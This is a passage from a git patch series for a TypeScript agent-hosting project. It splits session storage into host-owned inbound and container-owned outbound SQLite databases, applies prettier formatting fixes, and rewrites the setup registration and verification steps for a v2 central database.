string | null; + channel_type: string | null; + thread_id: string | null; + }>; + + for (const msg of completedRecurring) { + try { + const { CronExpressionParser } = await import('cron-parser'); + const interval = CronExpressionParser.parse(msg.recurrence); + const nextRun = interval.next().toISOString(); + const newId = `msg-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`; + + // Host uses even seq numbers + const maxSeq = ( + inDb.prepare('SELECT COALESCE(MAX(seq), 0) AS m FROM messages_in').get() as { m: number } + ).m; + const nextSeq = maxSeq < 2 ? 2 : maxSeq + 2 - (maxSeq % 2); + + inDb + .prepare( + `INSERT INTO messages_in (id, seq, kind, timestamp, status, process_after, recurrence, platform_id, channel_type, thread_id, content) + VALUES (?, ?, ?, datetime('now'), 'pending', ?, ?, ?, ?, ?, ?)`, + ) + .run(newId, nextSeq, msg.kind, nextRun, msg.recurrence, msg.platform_id, msg.channel_type, msg.thread_id, msg.content); + + // Remove recurrence from the completed message so it doesn't spawn again + inDb.prepare('UPDATE messages_in SET recurrence = NULL WHERE id = ?').run(msg.id); + + log.info('Inserted next recurrence', { originalId: msg.id, newId, nextRun }); + } catch (err) { + log.error('Failed to compute next recurrence', { messageId: msg.id, recurrence: msg.recurrence, err }); + } } } diff --git a/src/session-manager.ts b/src/session-manager.ts index 64e1922..f24f620 100644 --- a/src/session-manager.ts +++ b/src/session-manager.ts @@ -1,6 +1,10 @@ /** * Session lifecycle management. * Creates session folders + DBs, writes messages, manages container status. + * + * Two-DB architecture: each session has inbound.db (host-owned) and outbound.db + * (container-owned). This eliminates SQLite write contention across the + * host-container mount boundary — each file has exactly one writer. */ import Database from 'better-sqlite3'; import fs from 'fs'; @@ -9,7 +13,7 @@ import path from 'path'; import { DATA_DIR } from './config.js'; import { createSession, findSession, getSession, updateSession } from './db/sessions.js'; import { log } from './log.js'; -import { SESSION_SCHEMA } from './db/schema.js'; +import { INBOUND_SCHEMA, OUTBOUND_SCHEMA } from './db/schema.js'; import type { Session } from './types.js'; /** Root directory for all session data. */ @@ -22,9 +26,27 @@ export function sessionDir(agentGroupId: string, sessionId: string): string { return path.join(sessionsBaseDir(), agentGroupId, sessionId); } -/** Path to a session's SQLite DB. */ +/** Path to the host-owned inbound DB (messages_in + delivered). */ +export function inboundDbPath(agentGroupId: string, sessionId: string): string { + return path.join(sessionDir(agentGroupId, sessionId), 'inbound.db'); +} + +/** Path to the container-owned outbound DB (messages_out + processing_ack). */ +export function outboundDbPath(agentGroupId: string, sessionId: string): string { + return path.join(sessionDir(agentGroupId, sessionId), 'outbound.db'); +} + +/** Path to the container heartbeat file (touched instead of DB writes). */ +export function heartbeatPath(agentGroupId: string, sessionId: string): string { + return path.join(sessionDir(agentGroupId, sessionId), '.heartbeat'); +} + +/** + * @deprecated Use inboundDbPath / outboundDbPath instead. + * Kept temporarily for test compatibility during migration. + */ export function sessionDbPath(agentGroupId: string, sessionId: string): string { - return path.join(sessionDir(agentGroupId, sessionId), 'session.db'); + return inboundDbPath(agentGroupId, sessionId); } function generateId(): string { @@ -41,8 +63,6 @@ export function resolveSession( threadId: string | null, sessionMode: 'shared' | 'per-thread', ): { session: Session; created: boolean } { - // For shared mode, look for any active session with this messaging group (threadId ignored) - // For per-thread mode, look for an active session with this specific thread const lookupThreadId = sessionMode === 'shared' ? null : threadId; const existing = findSession(messagingGroupId, lookupThreadId); @@ -50,7 +70,6 @@ export function resolveSession( return { session: existing, created: false }; } - // Create new session const id = generateId(); const session: Session = { id, @@ -71,23 +90,32 @@ export function resolveSession( return { session, created: true }; } -/** Create the session folder and initialize the session DB. */ +/** Create the session folder and initialize both DBs. */ export function initSessionFolder(agentGroupId: string, sessionId: string): void { const dir = sessionDir(agentGroupId, sessionId); fs.mkdirSync(dir, { recursive: true }); fs.mkdirSync(path.join(dir, 'outbox'), { recursive: true }); - const dbPath = sessionDbPath(agentGroupId, sessionId); - if (!fs.existsSync(dbPath)) { - const db = new Database(dbPath); + const inPath = inboundDbPath(agentGroupId, sessionId); + if (!fs.existsSync(inPath)) { + const db = new Database(inPath); db.pragma('journal_mode = DELETE'); - db.exec(SESSION_SCHEMA); + db.exec(INBOUND_SCHEMA); db.close(); - log.debug('Session DB created', { dbPath }); + log.debug('Inbound DB created', { dbPath: inPath }); + } + + const outPath = outboundDbPath(agentGroupId, sessionId); + if (!fs.existsSync(outPath)) { + const db = new Database(outPath); + db.pragma('journal_mode = DELETE'); + db.exec(OUTBOUND_SCHEMA); + db.close(); + log.debug('Outbound DB created', { dbPath: outPath }); } } -/** Write a message to a session's messages_in table. */ +/** Write a message to a session's inbound DB (messages_in). Host-only. */ export function writeSessionMessage( agentGroupId: string, sessionId: string, @@ -103,22 +131,19 @@ export function writeSessionMessage( recurrence?: string | null; }, ): void { - const dbPath = sessionDbPath(agentGroupId, sessionId); + const dbPath = inboundDbPath(agentGroupId, sessionId); const db = new Database(dbPath); db.pragma('journal_mode = DELETE'); + db.pragma('busy_timeout = 5000'); try { - const nextSeq = ( - db - .prepare( - `SELECT COALESCE(MAX(seq), 0) + 1 AS next FROM ( - SELECT seq FROM messages_in WHERE seq IS NOT NULL - UNION ALL - SELECT seq FROM messages_out WHERE seq IS NOT NULL - )`, - ) - .get() as { next: number } - ).next; + // Host uses even seq numbers, container uses odd — prevents collisions + // across the two-DB boundary without cross-DB coordination. + const maxSeq = ( + db.prepare('SELECT COALESCE(MAX(seq), 0) AS m FROM messages_in').get() as { m: number } + ).m; + const nextSeq = maxSeq < 2 ? 2 : maxSeq + 2 - (maxSeq % 2); // next even + db.prepare( `INSERT INTO messages_in (id, seq, kind, timestamp, status, platform_id, channel_type, thread_id, content, process_after, recurrence) VALUES (@id, @seq, @kind, @timestamp, 'pending', @platformId, @channelType, @threadId, @content, @processAfter, @recurrence)`, @@ -138,18 +163,33 @@ export function writeSessionMessage( db.close(); } - // Update last_active updateSession(sessionId, { last_active: new Date().toISOString() }); } -/** Open a session DB for reading (e.g., polling messages_out). */ -export function openSessionDb(agentGroupId: string, sessionId: string): Database.Database { - const dbPath = sessionDbPath(agentGroupId, sessionId); +/** Open the inbound DB for a session (host reads/writes). */ +export function openInboundDb(agentGroupId: string, sessionId: string): Database.Database { + const dbPath = inboundDbPath(agentGroupId, sessionId); const db = new Database(dbPath); db.pragma('journal_mode = DELETE'); + db.pragma('busy_timeout = 5000'); return db; } +/** Open the outbound DB for a session (host reads only). */ +export function openOutboundDb(agentGroupId: string, sessionId: string): Database.Database { + const dbPath = outboundDbPath(agentGroupId, sessionId); + const db = new Database(dbPath, { readonly: true }); + db.pragma('busy_timeout = 5000'); + return db; +} + +/** + * @deprecated Use openInboundDb / openOutboundDb instead. + */ +export function openSessionDb(agentGroupId: string, sessionId: string): Database.Database { + return openInboundDb(agentGroupId, sessionId); +} + /** Mark a container as running for a session. */ export function markContainerRunning(sessionId: string): void { updateSession(sessionId, { container_status: 'running', last_active: new Date().toISOString() }); From b76fd425c8ea565d9d1a7eeb8562130754300406 Mon Sep 17 00:00:00 2001 From: gavrielc Date: Thu, 9 Apr 2026 12:18:31 +0300 Subject: [PATCH 084/485] style: prettier formatting fixes Co-Authored-By: Claude Opus 4.6 (1M context) --- src/container-runner.ts | 7 +------ src/container-runtime.test.ts | 16 ++++++++-------- src/delivery.ts | 14 +++++++------- src/host-core.test.ts | 4 +++- src/host-sweep.ts | 26 +++++++++++++++---------- src/mount-security.ts | 36 +++++++++++++++++++++++++++++------ src/session-manager.ts | 4 +--- 7 files changed, 66 insertions(+), 41 deletions(-) diff --git a/src/container-runner.ts b/src/container-runner.ts index c3dce4d..bc54632 100644 --- a/src/container-runner.ts +++ b/src/container-runner.ts @@ -15,12 +15,7 @@ import { getAgentGroup } from './db/agent-groups.js'; import { getMessagingGroup } from './db/messaging-groups.js'; import { log } from './log.js'; import { validateAdditionalMounts } from './mount-security.js'; -import { - markContainerIdle, - markContainerRunning, - markContainerStopped, - sessionDir, -} from './session-manager.js'; +import { markContainerIdle, markContainerRunning, markContainerStopped, sessionDir } from './session-manager.js'; import type { AgentGroup, Session } from './types.js'; const onecli = new OneCLI({ url: ONECLI_URL }); diff --git a/src/container-runtime.test.ts b/src/container-runtime.test.ts index 80eb46e..47d9744 100644 --- a/src/container-runtime.test.ts +++ b/src/container-runtime.test.ts @@ -100,10 +100,10 @@ describe('cleanupOrphans', () => { expect(mockExecSync).toHaveBeenNthCalledWith(3, `${CONTAINER_RUNTIME_BIN} stop -t 1 nanoclaw-group2-222`, { stdio: 'pipe', }); - expect(log.info).toHaveBeenCalledWith( - 'Stopped orphaned containers', - { count: 2, names: ['nanoclaw-group1-111', 'nanoclaw-group2-222'] }, - ); + expect(log.info).toHaveBeenCalledWith('Stopped orphaned containers', { + count: 2, + names: ['nanoclaw-group1-111', 'nanoclaw-group2-222'], + }); }); it('does nothing when no orphans exist', () => { @@ -140,9 +140,9 @@ describe('cleanupOrphans', () => { cleanupOrphans(); // should not throw expect(mockExecSync).toHaveBeenCalledTimes(3); - expect(log.info).toHaveBeenCalledWith( - 'Stopped orphaned containers', - { count: 2, names: ['nanoclaw-a-1', 'nanoclaw-b-2'] }, - ); + expect(log.info).toHaveBeenCalledWith('Stopped orphaned containers', { + count: 2, + names: ['nanoclaw-a-1', 'nanoclaw-b-2'], + }); }); }); diff --git a/src/delivery.ts b/src/delivery.ts index d74df75..35a41c2 100644 --- a/src/delivery.ts +++ b/src/delivery.ts @@ -131,9 +131,9 @@ async function deliverSessionMessages(session: Session): Promise { try { await deliverMessage(msg, session, inDb); // Track delivery in inbound.db (host-owned) — not outbound.db - inDb.prepare("INSERT OR IGNORE INTO delivered (message_out_id, delivered_at) VALUES (?, datetime('now'))").run( - msg.id, - ); + inDb + .prepare("INSERT OR IGNORE INTO delivered (message_out_id, delivered_at) VALUES (?, datetime('now'))") + .run(msg.id); resetContainerIdleTimer(session.id); } catch (err) { log.error('Failed to deliver message', { messageId: msg.id, sessionId: session.id, err }); @@ -249,9 +249,7 @@ async function handleSystemAction( const recurrence = (content.recurrence as string) || null; // Compute next even seq for host-owned inbound.db - const maxSeq = ( - inDb.prepare('SELECT COALESCE(MAX(seq), 0) AS m FROM messages_in').get() as { m: number } - ).m; + const maxSeq = (inDb.prepare('SELECT COALESCE(MAX(seq), 0) AS m FROM messages_in').get() as { m: number }).m; const nextSeq = maxSeq < 2 ? 2 : maxSeq + 2 - (maxSeq % 2); inDb @@ -276,7 +274,9 @@ async function handleSystemAction( case 'cancel_task': { const taskId = content.taskId as string; inDb - .prepare("UPDATE messages_in SET status = 'completed' WHERE id = ? AND kind = 'task' AND status IN ('pending', 'paused')") + .prepare( + "UPDATE messages_in SET status = 'completed' WHERE id = ? AND kind = 'task' AND status IN ('pending', 'paused')", + ) .run(taskId); log.info('Task cancelled', { taskId }); break; diff --git a/src/host-core.test.ts b/src/host-core.test.ts index 9dc711e..1378589 100644 --- a/src/host-core.test.ts +++ b/src/host-core.test.ts @@ -104,7 +104,9 @@ describe('session manager', () => { const outPath = outboundDbPath('ag-1', 'sess-test'); expect(fs.existsSync(outPath)).toBe(true); const outDb = new Database(outPath); - const outTables = outDb.prepare("SELECT name FROM sqlite_master WHERE type='table'").all() as Array<{ name: string }>; + const outTables = outDb.prepare("SELECT name FROM sqlite_master WHERE type='table'").all() as Array<{ + name: string; + }>; expect(outTables.map((t) => t.name)).toContain('messages_out'); expect(outTables.map((t) => t.name)).toContain('processing_ack'); outDb.close(); diff --git a/src/host-sweep.ts b/src/host-sweep.ts index 5bd877e..22583a8 100644 --- a/src/host-sweep.ts +++ b/src/host-sweep.ts @@ -115,9 +115,7 @@ function syncProcessingAcks(inDb: Database.Database, outDb: Database.Database): if (completed.length === 0) return; // Batch-update messages_in status for completed/failed messages - const updateStmt = inDb.prepare( - "UPDATE messages_in SET status = 'completed' WHERE id = ? AND status != 'completed'", - ); + const updateStmt = inDb.prepare("UPDATE messages_in SET status = 'completed' WHERE id = ? AND status != 'completed'"); inDb.transaction(() => { for (const { message_id } of completed) { updateStmt.run(message_id); @@ -148,9 +146,9 @@ function detectStaleContainers( if (heartbeatAge < STALE_THRESHOLD_MS) return; // Container is alive // Heartbeat is stale — check for stuck processing entries - const processing = outDb - .prepare("SELECT message_id FROM processing_ack WHERE status = 'processing'") - .all() as Array<{ message_id: string }>; + const processing = outDb.prepare("SELECT message_id FROM processing_ack WHERE status = 'processing'").all() as Array<{ + message_id: string; + }>; if (processing.length === 0) return; @@ -200,9 +198,7 @@ async function handleRecurrence(inDb: Database.Database, session: Session): Prom const newId = `msg-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`; // Host uses even seq numbers - const maxSeq = ( - inDb.prepare('SELECT COALESCE(MAX(seq), 0) AS m FROM messages_in').get() as { m: number } - ).m; + const maxSeq = (inDb.prepare('SELECT COALESCE(MAX(seq), 0) AS m FROM messages_in').get() as { m: number }).m; const nextSeq = maxSeq < 2 ? 2 : maxSeq + 2 - (maxSeq % 2); inDb @@ -210,7 +206,17 @@ async function handleRecurrence(inDb: Database.Database, session: Session): Prom `INSERT INTO messages_in (id, seq, kind, timestamp, status, process_after, recurrence, platform_id, channel_type, thread_id, content) VALUES (?, ?, ?, datetime('now'), 'pending', ?, ?, ?, ?, ?, ?)`, ) - .run(newId, nextSeq, msg.kind, nextRun, msg.recurrence, msg.platform_id, msg.channel_type, msg.thread_id, msg.content); + .run( + newId, + nextSeq, + msg.kind, + nextRun, + msg.recurrence, + msg.platform_id, + msg.channel_type, + msg.thread_id, + msg.content, + ); // Remove recurrence from the completed message so it doesn't spawn again inDb.prepare('UPDATE messages_in SET recurrence = NULL WHERE id = ?').run(msg.id); diff --git a/src/mount-security.ts b/src/mount-security.ts index cea550a..ba2b6f8 100644 --- a/src/mount-security.ts +++ b/src/mount-security.ts @@ -76,7 +76,10 @@ export function loadMountAllowlist(): MountAllowlist | null { if (!fs.existsSync(MOUNT_ALLOWLIST_PATH)) { // Do NOT cache this as an error — file may be created later without restart. // Only parse/structural errors are permanently cached. - log.warn('Mount allowlist not found - additional mounts will be BLOCKED. Create the file to enable additional mounts.', { path: MOUNT_ALLOWLIST_PATH }); + log.warn( + 'Mount allowlist not found - additional mounts will be BLOCKED. Create the file to enable additional mounts.', + { path: MOUNT_ALLOWLIST_PATH }, + ); return null; } @@ -101,12 +104,19 @@ export function loadMountAllowlist(): MountAllowlist | null { allowlist.blockedPatterns = mergedBlockedPatterns; cachedAllowlist = allowlist; - log.info('Mount allowlist loaded successfully', { path: MOUNT_ALLOWLIST_PATH, allowedRoots: allowlist.allowedRoots.length, blockedPatterns: allowlist.blockedPatterns.length }); + log.info('Mount allowlist loaded successfully', { + path: MOUNT_ALLOWLIST_PATH, + allowedRoots: allowlist.allowedRoots.length, + blockedPatterns: allowlist.blockedPatterns.length, + }); return cachedAllowlist; } catch (err) { allowlistLoadError = err instanceof Error ? err.message : String(err); - log.error('Failed to load mount allowlist - additional mounts will be BLOCKED', { path: MOUNT_ALLOWLIST_PATH, error: allowlistLoadError }); + log.error('Failed to load mount allowlist - additional mounts will be BLOCKED', { + path: MOUNT_ALLOWLIST_PATH, + error: allowlistLoadError, + }); return null; } } @@ -287,7 +297,10 @@ export function validateMount(mount: AdditionalMount, isMain: boolean): MountVal } else if (!allowedRoot.allowReadWrite) { // Root doesn't allow read-write effectiveReadonly = true; - log.info('Mount forced to read-only - root does not allow read-write', { mount: mount.hostPath, root: allowedRoot.path }); + log.info('Mount forced to read-only - root does not allow read-write', { + mount: mount.hostPath, + root: allowedRoot.path, + }); } else { // Read-write allowed effectiveReadonly = false; @@ -333,9 +346,20 @@ export function validateAdditionalMounts( readonly: result.effectiveReadonly!, }); - log.debug('Mount validated successfully', { group: groupName, hostPath: result.realHostPath, containerPath: result.resolvedContainerPath, readonly: result.effectiveReadonly, reason: result.reason }); + log.debug('Mount validated successfully', { + group: groupName, + hostPath: result.realHostPath, + containerPath: result.resolvedContainerPath, + readonly: result.effectiveReadonly, + reason: result.reason, + }); } else { - log.warn('Additional mount REJECTED', { group: groupName, requestedPath: mount.hostPath, containerPath: mount.containerPath, reason: result.reason }); + log.warn('Additional mount REJECTED', { + group: groupName, + requestedPath: mount.hostPath, + containerPath: mount.containerPath, + reason: result.reason, + }); } } diff --git a/src/session-manager.ts b/src/session-manager.ts index f24f620..20e4562 100644 --- a/src/session-manager.ts +++ b/src/session-manager.ts @@ -139,9 +139,7 @@ export function writeSessionMessage( try { // Host uses even seq numbers, container uses odd — prevents collisions // across the two-DB boundary without cross-DB coordination. - const maxSeq = ( - db.prepare('SELECT COALESCE(MAX(seq), 0) AS m FROM messages_in').get() as { m: number } - ).m; + const maxSeq = (db.prepare('SELECT COALESCE(MAX(seq), 0) AS m FROM messages_in').get() as { m: number }).m; const nextSeq = maxSeq < 2 ? 2 : maxSeq + 2 - (maxSeq % 2); // next even db.prepare( From e7514edd350fd42b17fc9c89d33eef54aad284a3 Mon Sep 17 00:00:00 2001 From: gavrielc Date: Thu, 9 Apr 2026 12:23:23 +0300 Subject: [PATCH 085/485] =?UTF-8?q?fix:=20wire=20v2=20setup=20flow=20?= =?UTF-8?q?=E2=80=94=20barrel=20import,=20registration,=20verification?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - Import channel barrel from src/index.ts so channel skills that uncomment lines in src/channels/index.ts actually execute - Rewrite setup/register.ts to create v2 entities (agent_groups, messaging_groups, messaging_group_agents) in data/v2.db instead of v1's store/messages.db - Fix setup/verify.ts to check v2 central DB for registered groups - Add prominent "MESSAGE DROPPED" warnings in router when no agent groups are wired, with actionable guidance Co-Authored-By: Claude Opus 4.6 (1M context) --- setup/register.ts | 178 +++++++++++++++++++++++-------------- setup/verify.ts | 14 +-- src/db/index.ts | 1 + src/db/messaging-groups.ts | 9 ++ src/index.ts | 5 +- src/router.ts | 10 ++- 6 files changed, 143 insertions(+), 74 deletions(-) diff --git a/setup/register.ts b/setup/register.ts index ee7854e..a15e469 100644 --- a/setup/register.ts +++ b/setup/register.ts @@ -1,45 +1,66 @@ /** - * Step: register — Write channel registration config, create group folders. + * Step: register — Create v2 entities (agent group, messaging group, wiring). * - * Accepts --channel to specify the messaging platform (whatsapp, telegram, slack, discord). - * Uses parameterized SQL queries to prevent injection. + * Writes to the v2 central DB (data/v2.db) — NOT the v1 store/messages.db. + * Creates: agent_group, messaging_group, messaging_group_agents. */ import fs from 'fs'; import path from 'path'; -import { STORE_DIR } from '../src/config.ts'; -import { initDatabase, setRegisteredGroup } from '../src/v1/db.ts'; -import { isValidGroupFolder } from '../src/group-folder.ts'; +import { DATA_DIR } from '../src/config.js'; +import { initDb } from '../src/db/connection.js'; +import { runMigrations } from '../src/db/migrations/index.js'; +import { createAgentGroup, getAgentGroupByFolder } from '../src/db/agent-groups.js'; +import { + createMessagingGroup, + createMessagingGroupAgent, + getMessagingGroupByPlatform, + getMessagingGroupAgentByPair, +} from '../src/db/messaging-groups.js'; +import { isValidGroupFolder } from '../src/group-folder.js'; import { log } from '../src/log.js'; -import { emitStatus } from './status.ts'; +import { emitStatus } from './status.js'; interface RegisterArgs { - jid: string; + /** Platform-specific channel/group ID (Discord channel ID, Slack channel, etc.) */ + platformId: string; + /** Human-readable name for the messaging group */ name: string; + /** Trigger pattern (regex or keyword) */ trigger: string; + /** Agent group folder name */ folder: string; + /** Channel type (discord, slack, telegram, etc.) */ channel: string; + /** Whether messages require the trigger pattern to activate */ requiresTrigger: boolean; + /** Whether this is the admin/main agent group */ isMain: boolean; + /** Display name for the assistant */ assistantName: string; + /** Session mode: 'shared' (one session per channel) or 'per-thread' */ + sessionMode: string; } function parseArgs(args: string[]): RegisterArgs { const result: RegisterArgs = { - jid: '', + platformId: '', name: '', trigger: '', folder: '', - channel: 'whatsapp', // backward-compat: pre-refactor installs omit --channel + channel: 'discord', requiresTrigger: true, isMain: false, assistantName: 'Andy', + sessionMode: 'shared', }; for (let i = 0; i < args.length; i++) { switch (args[i]) { + // Accept both --jid (v1 compat) and --platform-id (v2) case '--jid': - result.jid = args[++i] || ''; + case '--platform-id': + result.platformId = args[++i] || ''; break; case '--name': result.name = args[++i] || ''; @@ -62,17 +83,24 @@ function parseArgs(args: string[]): RegisterArgs { case '--assistant-name': result.assistantName = args[++i] || 'Andy'; break; + case '--session-mode': + result.sessionMode = args[++i] || 'shared'; + break; } } return result; } +function generateId(prefix: string): string { + return `${prefix}-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`; +} + export async function run(args: string[]): Promise { const projectRoot = process.cwd(); const parsed = parseArgs(args); - if (!parsed.jid || !parsed.name || !parsed.trigger || !parsed.folder) { + if (!parsed.platformId || !parsed.name || !parsed.folder) { emitStatus('REGISTER_CHANNEL', { STATUS: 'failed', ERROR: 'missing_required_args', @@ -92,61 +120,88 @@ export async function run(args: string[]): Promise { log.info('Registering channel', parsed); - // Ensure data and store directories exist (store/ may not exist on - // fresh installs that skip WhatsApp auth, which normally creates it) + // Init v2 central DB fs.mkdirSync(path.join(projectRoot, 'data'), { recursive: true }); - fs.mkdirSync(STORE_DIR, { recursive: true }); + const dbPath = path.join(DATA_DIR, 'v2.db'); + const db = initDb(dbPath); + runMigrations(db); - // Initialize database (creates schema + runs migrations) - initDatabase(); + // 1. Create or find agent group + let agentGroup = getAgentGroupByFolder(parsed.folder); + if (!agentGroup) { + const agId = generateId('ag'); + createAgentGroup({ + id: agId, + name: parsed.assistantName, + folder: parsed.folder, + is_admin: parsed.isMain ? 1 : 0, + agent_provider: null, + container_config: null, + created_at: new Date().toISOString(), + }); + agentGroup = getAgentGroupByFolder(parsed.folder)!; + log.info('Created agent group', { id: agId, folder: parsed.folder }); + } - setRegisteredGroup(parsed.jid, { - name: parsed.name, - folder: parsed.folder, - trigger: parsed.trigger, - added_at: new Date().toISOString(), - requiresTrigger: parsed.requiresTrigger, - isMain: parsed.isMain, - }); + // 2. Create or find messaging group + let messagingGroup = getMessagingGroupByPlatform(parsed.channel, parsed.platformId); + if (!messagingGroup) { + const mgId = generateId('mg'); + createMessagingGroup({ + id: mgId, + channel_type: parsed.channel, + platform_id: parsed.platformId, + name: parsed.name, + is_group: 1, + admin_user_id: null, + created_at: new Date().toISOString(), + }); + messagingGroup = getMessagingGroupByPlatform(parsed.channel, parsed.platformId)!; + log.info('Created messaging group', { id: mgId, channel: parsed.channel, platformId: parsed.platformId }); + } - log.info('Wrote registration to SQLite'); + // 3. Wire agent to messaging group + const existing = getMessagingGroupAgentByPair(messagingGroup.id, agentGroup.id); + if (!existing) { + const mgaId = generateId('mga'); + const triggerRules = parsed.trigger + ? JSON.stringify({ + pattern: parsed.trigger, + requiresTrigger: parsed.requiresTrigger, + }) + : null; + createMessagingGroupAgent({ + id: mgaId, + messaging_group_id: messagingGroup.id, + agent_group_id: agentGroup.id, + trigger_rules: triggerRules, + response_scope: 'all', + session_mode: parsed.sessionMode, + priority: parsed.isMain ? 10 : 0, + created_at: new Date().toISOString(), + }); + log.info('Wired agent to messaging group', { mgaId, agentGroup: agentGroup.id, messagingGroup: messagingGroup.id }); + } - // Create group folders - fs.mkdirSync(path.join(projectRoot, 'groups', parsed.folder, 'logs'), { - recursive: true, - }); + // 4. Create group folders + fs.mkdirSync(path.join(projectRoot, 'groups', parsed.folder, 'logs'), { recursive: true }); - // Create CLAUDE.md in the new group folder from template if it doesn't exist. - // The agent runs with CWD=/workspace/group and loads CLAUDE.md from there. - // Never overwrite an existing CLAUDE.md — users customize these extensively - // (persona, workspace structure, communication rules, family context, etc.) - // and a stock template replacement would destroy that work. - const groupClaudeMdPath = path.join( - projectRoot, - 'groups', - parsed.folder, - 'CLAUDE.md', - ); + // Create CLAUDE.md from template if it doesn't exist + const groupClaudeMdPath = path.join(projectRoot, 'groups', parsed.folder, 'CLAUDE.md'); if (!fs.existsSync(groupClaudeMdPath)) { const templatePath = parsed.isMain ? path.join(projectRoot, 'groups', 'main', 'CLAUDE.md') : path.join(projectRoot, 'groups', 'global', 'CLAUDE.md'); if (fs.existsSync(templatePath)) { fs.copyFileSync(templatePath, groupClaudeMdPath); - log.info( - 'Created CLAUDE.md from template', - { file: groupClaudeMdPath, template: templatePath }, - ); + log.info('Created CLAUDE.md from template', { file: groupClaudeMdPath, template: templatePath }); } } - // Update assistant name in CLAUDE.md files if different from default + // 5. Update assistant name in CLAUDE.md files if different from default let nameUpdated = false; if (parsed.assistantName !== 'Andy') { - log.info( - 'Updating assistant name', - { from: 'Andy', to: parsed.assistantName }, - ); + log.info('Updating assistant name', { from: 'Andy', to: parsed.assistantName }); const groupsDir = path.join(projectRoot, 'groups'); const mdFiles = fs @@ -155,16 +210,11 @@ export async function run(args: string[]): Promise { .filter((f) => fs.existsSync(f)); for (const mdFile of mdFiles) { - if (fs.existsSync(mdFile)) { - let content = fs.readFileSync(mdFile, 'utf-8'); - content = content.replace(/^# Andy$/m, `# ${parsed.assistantName}`); - content = content.replace( - /You are Andy/g, - `You are ${parsed.assistantName}`, - ); - fs.writeFileSync(mdFile, content); - log.info('Updated CLAUDE.md', { file: mdFile }); - } + let content = fs.readFileSync(mdFile, 'utf-8'); + content = content.replace(/^# Andy$/m, `# ${parsed.assistantName}`); + content = content.replace(/You are Andy/g, `You are ${parsed.assistantName}`); + fs.writeFileSync(mdFile, content); + log.info('Updated CLAUDE.md', { file: mdFile }); } // Update .env @@ -172,10 +222,7 @@ export async function run(args: string[]): Promise { if (fs.existsSync(envFile)) { let envContent = fs.readFileSync(envFile, 'utf-8'); if (envContent.includes('ASSISTANT_NAME=')) { - envContent = envContent.replace( - /^ASSISTANT_NAME=.*$/m, - `ASSISTANT_NAME="${parsed.assistantName}"`, - ); + envContent = envContent.replace(/^ASSISTANT_NAME=.*$/m, `ASSISTANT_NAME="${parsed.assistantName}"`); } else { envContent += `\nASSISTANT_NAME="${parsed.assistantName}"`; } @@ -188,13 +235,14 @@ export async function run(args: string[]): Promise { } emitStatus('REGISTER_CHANNEL', { - JID: parsed.jid, + PLATFORM_ID: parsed.platformId, NAME: parsed.name, FOLDER: parsed.folder, CHANNEL: parsed.channel, TRIGGER: parsed.trigger, REQUIRES_TRIGGER: parsed.requiresTrigger, ASSISTANT_NAME: parsed.assistantName, + SESSION_MODE: parsed.sessionMode, NAME_UPDATED: nameUpdated, STATUS: 'success', LOG: 'logs/setup.log', diff --git a/setup/verify.ts b/setup/verify.ts index 6b2077a..3d47174 100644 --- a/setup/verify.ts +++ b/setup/verify.ts @@ -11,7 +11,7 @@ import path from 'path'; import Database from 'better-sqlite3'; -import { STORE_DIR } from '../src/config.js'; +import { DATA_DIR } from '../src/config.js'; import { readEnvFile } from '../src/env.js'; import { log } from '../src/log.js'; import { @@ -139,19 +139,23 @@ export async function run(_args: string[]): Promise { const configuredChannels = Object.keys(channelAuth); const anyChannelConfigured = configuredChannels.length > 0; - // 5. Check registered groups (using better-sqlite3, not sqlite3 CLI) + // 5. Check registered groups in v2 central DB (agent_groups + messaging_group_agents) let registeredGroups = 0; - const dbPath = path.join(STORE_DIR, 'messages.db'); + const dbPath = path.join(DATA_DIR, 'v2.db'); if (fs.existsSync(dbPath)) { try { const db = new Database(dbPath, { readonly: true }); + // Count agent groups that have at least one messaging group wired const row = db - .prepare('SELECT COUNT(*) as count FROM registered_groups') + .prepare( + `SELECT COUNT(DISTINCT ag.id) as count FROM agent_groups ag + JOIN messaging_group_agents mga ON mga.agent_group_id = ag.id`, + ) .get() as { count: number }; registeredGroups = row.count; db.close(); } catch { - // Table might not exist + // Table might not exist (DB not migrated yet) } } diff --git a/src/db/index.ts b/src/db/index.ts index 33b3a94..457da2a 100644 --- a/src/db/index.ts +++ b/src/db/index.ts @@ -20,6 +20,7 @@ export { createMessagingGroupAgent, getMessagingGroupAgents, getMessagingGroupAgent, + getMessagingGroupAgentByPair, updateMessagingGroupAgent, deleteMessagingGroupAgent, } from './messaging-groups.js'; diff --git a/src/db/messaging-groups.ts b/src/db/messaging-groups.ts index b7994fc..6c792d8 100644 --- a/src/db/messaging-groups.ts +++ b/src/db/messaging-groups.ts @@ -71,6 +71,15 @@ export function getMessagingGroupAgents(messagingGroupId: string): MessagingGrou .all(messagingGroupId) as MessagingGroupAgent[]; } +export function getMessagingGroupAgentByPair( + messagingGroupId: string, + agentGroupId: string, +): MessagingGroupAgent | undefined { + return getDb() + .prepare('SELECT * FROM messaging_group_agents WHERE messaging_group_id = ? AND agent_group_id = ?') + .get(messagingGroupId, agentGroupId) as MessagingGroupAgent | undefined; +} + export function getMessagingGroupAgent(id: string): MessagingGroupAgent | undefined { return getDb().prepare('SELECT * FROM messaging_group_agents WHERE id = ?').get(id) as | MessagingGroupAgent diff --git a/src/index.ts b/src/index.ts index 03bc093..f24a4cb 100644 --- a/src/index.ts +++ b/src/index.ts @@ -19,8 +19,9 @@ import { writeSessionMessage } from './session-manager.js'; import { wakeContainer } from './container-runner.js'; import { log } from './log.js'; -// Channel imports — each triggers self-registration -import './channels/discord.js'; +// Channel barrel — each enabled channel self-registers on import. +// Channel skills uncomment lines in channels/index.ts to enable them. +import './channels/index.js'; import type { ChannelAdapter, ChannelSetup, ConversationConfig } from './channels/adapter.js'; import { initChannelAdapters, teardownChannelAdapters, getChannelAdapter } from './channels/channel-registry.js'; diff --git a/src/router.ts b/src/router.ts index 2bcce73..e565d9f 100644 --- a/src/router.ts +++ b/src/router.ts @@ -58,8 +58,11 @@ export async function routeInbound(event: InboundEvent): Promise { // 2. Resolve agent group via messaging_group_agents const agents = getMessagingGroupAgents(mg.id); if (agents.length === 0) { - log.warn('No agent groups configured for messaging group', { + // This is a common fresh-install issue: channels work but no agent group + // is wired to handle messages. Run setup/register to create the wiring. + log.warn('MESSAGE DROPPED — no agent groups wired to this channel. Run setup register step to configure.', { messagingGroupId: 